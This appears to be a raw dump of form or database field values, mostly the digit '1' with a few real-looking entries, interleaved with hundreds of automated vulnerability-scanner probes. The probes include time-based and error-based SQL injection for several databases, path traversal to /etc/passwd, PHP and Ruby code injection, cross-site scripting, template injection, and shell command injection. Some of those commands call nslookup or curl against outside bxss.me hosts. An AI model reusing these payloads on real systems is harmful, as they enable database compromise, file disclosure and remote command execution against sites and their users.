1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1'"
1
1
1
1
1
1
1
1
@@zKDxZ
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999742+9999147}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n965614=v914410
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
file:///etc/passwd
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
!(()&&!|*|*|
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitxz'.'vokocntadbed3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(78).chr(119).chr(82).'
1
".gethostbyname(lc("hithc"."vsftxanha5db2.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(76).chr(108).chr(66)."
1
'"()
1
1
1
1'&&sleep(27*1000)*arnohi&&'
1
1
1
1"&&sleep(27*1000)*dibayw&&"
1
1
1'||sleep(27*1000)*jprtzv||'
1
1
1"||sleep(27*1000)*dstbbu||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
create
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
create/.
';print(md5(31337));$a='
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(118).concat(66).concat(107).concat(74)+(require"socket" Socket.gethostbyname("hitld"+"zwtruoaa3ada4.bxss.me.")[3].to_s)+"
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(106).concat(85).concat(101).concat(76)+(require'socket' Socket.gethostbyname('hiteg'+'gmjrdmyo3f3c2.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
<!--
1
1
1
1
1
1
response.write(9760608*9083991)
1
1
1
1
'+response.write(9760608*9083991)+'
1
1
1'"()&%<zzz><ScRiPt >M78e(9793)</ScRiPt>
1
"+response.write(9760608*9083991)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >M78e(9827)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
9hdUjK1v
1
1
1
19865374
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo hvhidf$()\ tpnimo\nz^xyu||a #' &echo hvhidf$()\ tpnimo\nz^xyu||a #|" &echo hvhidf$()\ tpnimo\nz^xyu||a #
1
1
1
1
&echo maexio$()\ lkdywd\nz^xyu||a #' &echo maexio$()\ lkdywd\nz^xyu||a #|" &echo maexio$()\ lkdywd\nz^xyu||a #
1
1
1
bfg6163＜s1﹥s2ʺs3ʹhjl6163
1&echo gkixzu$()\ gwiiye\nz^xyu||a #' &echo gkixzu$()\ gwiiye\nz^xyu||a #|" &echo gkixzu$()\ gwiiye\nz^xyu||a #
1
1
1
1
1
|echo wrmjyu$()\ oihipr\nz^xyu||a #' |echo wrmjyu$()\ oihipr\nz^xyu||a #|" |echo wrmjyu$()\ oihipr\nz^xyu||a #
1
1
1
1
1|echo owixdz$()\ rasege\nz^xyu||a #' |echo owixdz$()\ rasege\nz^xyu||a #|" |echo owixdz$()\ rasege\nz^xyu||a #
1
1
1
1
1
1
1
(nslookup -q=cname hitnosvbapbbf2464e.bxss.me||curl hitnosvbapbbf2464e.bxss.me))
1
1
1
1
bfgx5783
$(nslookup -q=cname hitzqegxnwfio93345.bxss.me||curl hitzqegxnwfio93345.bxss.me)
1
1
1
1
1
&nslookup -q=cname hitvhdlxbewrkfbb56.bxss.me&'\"`0&nslookup -q=cname hitvhdlxbewrkfbb56.bxss.me&`'
1
1
1
&(nslookup -q=cname hitmsitnttuuk4ba40.bxss.me||curl hitmsitnttuuk4ba40.bxss.me)&'\"`0&(nslookup -q=cname hitmsitnttuuk4ba40.bxss.me||curl hitmsitnttuuk4ba40.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitzghabweiyjdf226.bxss.me||curl hitzghabweiyjdf226.bxss.me)
1
1
1
1
1
`(nslookup -q=cname hitzsbuobbeym2f29f.bxss.me||curl hitzsbuobbeym2f29f.bxss.me)`
1
1
;(nslookup -q=cname hitybztytylbvec8a0.bxss.me||curl hitybztytylbvec8a0.bxss.me)|(nslookup -q=cname hitybztytylbvec8a0.bxss.me||curl hitybztytylbvec8a0.bxss.me)&(nslookup -q=cname hitybztytylbvec8a0.b
1
1
1
<%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
1
1
1
1
1
1
1
dfb__${98991*97996}__::.x
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1
1
1
1
19701"();}]9812
1
1
1
1
1
1
1
1
1
1
1
%31%39%34%39%34%22%28%29%3B%7D%5D%39%38%30%35
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1</script><script>M78e(9822)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
12345'"\'\");|]* { < >
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
${9999387+9999092}
Http://bxss.me/t/fit.txt
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
/etc/shells
1
1
c:/windows/win.ini
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n905658=v973457
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1TmGCFpUS
1
1
1
1
1
1
1
1
1
-1 OR 2+932-932-1=0+0+0+1 --
../../../../../../../../../../../../../../etc/passwd
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
file:///etc/passwd
-1 OR 2+181-181-1=0+0+0+1
1
)
-1' OR 2+580-580-1=0+0+0+1 --
1
1
!(()&&!|*|*|
1
-1' OR 2+518-518-1=0+0+0+1 or 'vDednESb'='
1
../1
^(#$!@#$)(()))******
1
-1" OR 2+672-672-1=0+0+0+1 --
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1qOtMefto'; waitfor delay '0:0:15' --
1
1
1
1
1-1 OR 599=(SELECT 599 FROM PG_SLEEP(15))--
1
1
1
1
1-1) OR 844=(SELECT 844 FROM PG_SLEEP(15))--
1
1
1
1-1)) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
1
1
1
1
1ucOeoYNB' OR 861=(SELECT 861 FROM PG_SLEEP(15))--
1
1
1
1
10tphizjr') OR 275=(SELECT 275 FROM PG_SLEEP(15))--
1
1
1
1
1
1f9ETaQ7u')) OR 550=(SELECT 550 FROM PG_SLEEP(15))--
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
@@umlhW
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
'.gethostbyname(lc('hitxs'.'ksxxffllfb7f6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(86).chr(108).chr(80).'
1
1'&&sleep(27*1000)*iziufc&&'
1
".gethostbyname(lc("hitif"."zchfaept17963.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(87).chr(119).chr(78)."
1
1
1"&&sleep(27*1000)*yyhfnu&&"
1
1
1
1'||sleep(27*1000)*ggliqw||'
1
1
1
1
1"||sleep(27*1000)*kcshlj||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
1
create
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
create/.
1
1
';print(md5(31337));$a='
1
xfs.bxss.me
1
1
1
";print(md5(31337));$a="
1
1
1
${@print(md5(31337))}
1
1
1
1
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(110).concat(78).concat(108).concat(79)+(require"socket" Socket.gethostbyname("hitcl"+"ygzyseplb6241.bxss.me.")[3].to_s)+"
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(112).concat(76).concat(119).concat(65)+(require'socket' Socket.gethostbyname('hitvb'+'ecrvaiuraddf0.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >ab1O(9070)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9672745*9435802)
1
1
1
1
'+response.write(9672745*9435802)+'
1
1
1
1
"+response.write(9672745*9435802)+"
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >ab1O(9786)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19968166
1
1
1
1
1
echo bdhsoc$()\ sgklss\nz^xyu||a #' &echo bdhsoc$()\ sgklss\nz^xyu||a #|" &echo bdhsoc$()\ sgklss\nz^xyu||a #
1
1
1
1
&echo cjlqqk$()\ fbaddr\nz^xyu||a #' &echo cjlqqk$()\ fbaddr\nz^xyu||a #|" &echo cjlqqk$()\ fbaddr\nz^xyu||a #
1
1
1
1
1
1&echo mdetwr$()\ dsbjmz\nz^xyu||a #' &echo mdetwr$()\ dsbjmz\nz^xyu||a #|" &echo mdetwr$()\ dsbjmz\nz^xyu||a #
1
1
1
1
1
1
1
1
|echo lsoron$()\ gefnxb\nz^xyu||a #' |echo lsoron$()\ gefnxb\nz^xyu||a #|" |echo lsoron$()\ gefnxb\nz^xyu||a #
1
1
1
1
1
1
1
1|echo xpmwlp$()\ vftfkh\nz^xyu||a #' |echo xpmwlp$()\ vftfkh\nz^xyu||a #|" |echo xpmwlp$()\ vftfkh\nz^xyu||a #
1
1
1
1
1
(nslookup -q=cname hitmuxzgktirac5c2f.bxss.me||curl hitmuxzgktirac5c2f.bxss.me))
1
1
1
1
$(nslookup -q=cname hitcdtlflfpnq101e7.bxss.me||curl hitcdtlflfpnq101e7.bxss.me)
1
1
1
1
&nslookup -q=cname hithnaonudtvn1bb6f.bxss.me&'\"`0&nslookup -q=cname hithnaonudtvn1bb6f.bxss.me&`'
1
1
1
bfg1830＜s1﹥s2ʺs3ʹhjl1830
1
1
&(nslookup -q=cname hitolkedkxlfw5d5b5.bxss.me||curl hitolkedkxlfw5d5b5.bxss.me)&'\"`0&(nslookup -q=cname hitolkedkxlfw5d5b5.bxss.me||curl hitolkedkxlfw5d5b5.bxss.me)&`'
1
1
1
1
1
1
1
1
|(nslookup -q=cname hitqijetgqmepfcb75.bxss.me||curl hitqijetgqmepfcb75.bxss.me)
1
1
1
1
1
`(nslookup -q=cname hitinvydetiebfb4ae.bxss.me||curl hitinvydetiebfb4ae.bxss.me)`
1
1
;(nslookup -q=cname hitqfhcfaicgi8b173.bxss.me||curl hitqfhcfaicgi8b173.bxss.me)|(nslookup -q=cname hitqfhcfaicgi8b173.bxss.me||curl hitqfhcfaicgi8b173.bxss.me)&(nslookup -q=cname hitqfhcfaicgi8b173.b
1
1
1
Zn8CloMG
bfgx1146
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb__${98991*97996}__::.x
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1
1
1
19374"();}]9167
1
1
1
1
1
1
1
1
1
%31%39%32%34%30%22%28%29%3B%7D%5D%39%39%34%33
1
1
1
1
1
1
1
1
1
1
1</script><script>ab1O(9998)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Disable
Other
Student
Mazdori driving
Nil
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Education
46794
Health
'and/**/extractvalue(1,concat(char(126),md5(1821959711)))and'
"and/**/extractvalue(1,concat(char(126),md5(1223169684)))and"
extractvalue(1,concat(char(126),md5(1742406854)))
'and(select'1'from/**/cast(md5(1142421661)as/**/int))>'0
/**/and/**/cast(md5('1988626812')as/**/int)>0
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1576658820')))
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1377272640')))>'0
鎈'"\(
'"\(
'and'q'='q
'and'g'='a
"and"b"="b
"and"g"="g
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
'and(select*from(select+sleep(2))a/**/union/**/select+1)='
"and(select*from(select+sleep(0))a/**/union/**/select+1)="
"and(select*from(select+sleep(2))a/**/union/**/select+1)="
'/**/and(select'1'from/**/pg_sleep(0))::text>'0
'/**/and(select'1'from/**/pg_sleep(2))::text>'0
'and(select+1)>0waitfor/**/delay'0:0:0
'and(select+1)>0waitfor/**/delay'0:0:2
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('r',0)='r
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',2)='b
'and'k'='k
'and'x'='d
"and"y"="y
"and"t"="d
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
'and(select*from(select+sleep(2))a/**/union/**/select+1)='
"and(select*from(select+sleep(0))a/**/union/**/select+1)="
"and(select*from(select+sleep(2))a/**/union/**/select+1)="
'/**/and(select'1'from/**/pg_sleep(0))::text>'0
'/**/and(select'1'from/**/pg_sleep(2))::text>'0
'and(select+1)>0waitfor/**/delay'0:0:0
'and(select+1)>0waitfor/**/delay'0:0:2
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',0)='d
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',2)='x
'and/**/extractvalue(1,concat(char(126),md5(1816430644)))and'
"and/**/extractvalue(1,concat(char(126),md5(1455080057)))and"
extractvalue(1,concat(char(126),md5(1040441297)))
'and(select'1'from/**/cast(md5(1301265251)as/**/int))>'0
/**/and/**/cast(md5('1528546020')as/**/int)>0
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1086407342')))
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1630181888')))>'0
鎈'"\(
'"\(
Telecommunications
1
1
1BEIZI53AM0
1
1
'"
response.write(9583691*9632249)
<!--
1
1'"()&%<zzz><ScRiPt >5U25(9117)</ScRiPt>
1
'+response.write(9583691*9632249)+'
1
1
1
1
"+response.write(9583691*9632249)+"
'"()&%<zzz><ScRiPt >5U25(9413)</ScRiPt>
1
1
1
1
1
1
1
1
xTua5u4X
1
1
19400939
VDVQWtiC: v5gV2bDJ
1
1
1
1
1
echo phmsul$()\ tgeols\nz^xyu||a #' &echo phmsul$()\ tgeols\nz^xyu||a #|" &echo phmsul$()\ tgeols\nz^xyu||a #
1
1
1
1
&echo smfbnl$()\ dsubtm\nz^xyu||a #' &echo smfbnl$()\ dsubtm\nz^xyu||a #|" &echo smfbnl$()\ dsubtm\nz^xyu||a #
1
1
1
1
1
1
1
1&echo foahfm$()\ ocabkc\nz^xyu||a #' &echo foahfm$()\ ocabkc\nz^xyu||a #|" &echo foahfm$()\ ocabkc\nz^xyu||a #
1
1
|echo sigxiq$()\ hqkgcr\nz^xyu||a #' |echo sigxiq$()\ hqkgcr\nz^xyu||a #|" |echo sigxiq$()\ hqkgcr\nz^xyu||a #
1
1
1
1
1|echo ydhazb$()\ qdbhgu\nz^xyu||a #' |echo ydhazb$()\ qdbhgu\nz^xyu||a #|" |echo ydhazb$()\ qdbhgu\nz^xyu||a #
1
1
1
1
expr 9000263613 - 960068
1
1
1
1
(nslookup -q=cname hitjvxtedymyvfec81.bxss.me||curl hitjvxtedymyvfec81.bxss.me))
../../../../../../../../../../../../../../etc/passwd
1
1
$(nslookup -q=cname hitrpdqneafvt5651a.bxss.me||curl hitrpdqneafvt5651a.bxss.me)
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
&nslookup -q=cname hitcmefepzvjg1cbbf.bxss.me&'\"`0&nslookup -q=cname hitcmefepzvjg1cbbf.bxss.me&`'
1
12345'"\'\");|]* { < >
1
1
1
1
&(nslookup -q=cname hitcqxkmvydumb1527.bxss.me||curl hitcqxkmvydumb1527.bxss.me)&'\"`0&(nslookup -q=cname hitcqxkmvydumb1527.bxss.me||curl hitcqxkmvydumb1527.bxss.me)&`'
file:///etc/passwd
1
1
|(nslookup -q=cname hitypzgcinazg75cbe.bxss.me||curl hitypzgcinazg75cbe.bxss.me)
1
1
1
1BwwFBlfa
1
`(nslookup -q=cname hitmysnjtrhfa32760.bxss.me||curl hitmysnjtrhfa32760.bxss.me)`
../1
1
1
1
1
1
1
1
;(nslookup -q=cname hitqbkjzrbdum25f30.bxss.me||curl hitqbkjzrbdum25f30.bxss.me)|(nslookup -q=cname hitqbkjzrbdum25f30.bxss.me||curl hitqbkjzrbdum25f30.bxss.me)&(nslookup -q=cname hitqbkjzrbdum25f30.b
1
1
1
1
-1 OR 2+545-545-1=0+0+0+1 --
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hithwrrkolvgq4daae.bxss.me||curl${IFS}hithwrrkolvgq4daae.bxss.me)
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
-1 OR 2+974-974-1=0+0+0+1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitqsficgmebba72ba.bxss.me||curl${IFS}hitqsficgmebba72ba.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqsficgmebba72ba.bxss.me||curl${IFS}hitqsficgmebba72ba.bx
1
1
1
1
-1' OR 2+362-362-1=0+0+0+1 --
1
1
1
1
-1' OR 2+64-64-1=0+0+0+1 or 'wnibJIhe'='
1
1
1
1
1
-1" OR 2+359-359-1=0+0+0+1 --
1
1
1
1
1
1
1
${9999297+9999963}
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1&n901170=v929319
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1Sc1UHF4e'; waitfor delay '0:0:15' --
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1
1-1 OR 990=(SELECT 990 FROM PG_SLEEP(15))--
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1-1) OR 91=(SELECT 91 FROM PG_SLEEP(15))--
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1-1)) OR 889=(SELECT 889 FROM PG_SLEEP(15))--
http://bxss.me/t/fit.txt?.jpg
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1ljbpY9eo' OR 368=(SELECT 368 FROM PG_SLEEP(15))--
1
/etc/shells
1
1
1
1
bxss.me/t/xss.html?%00
1
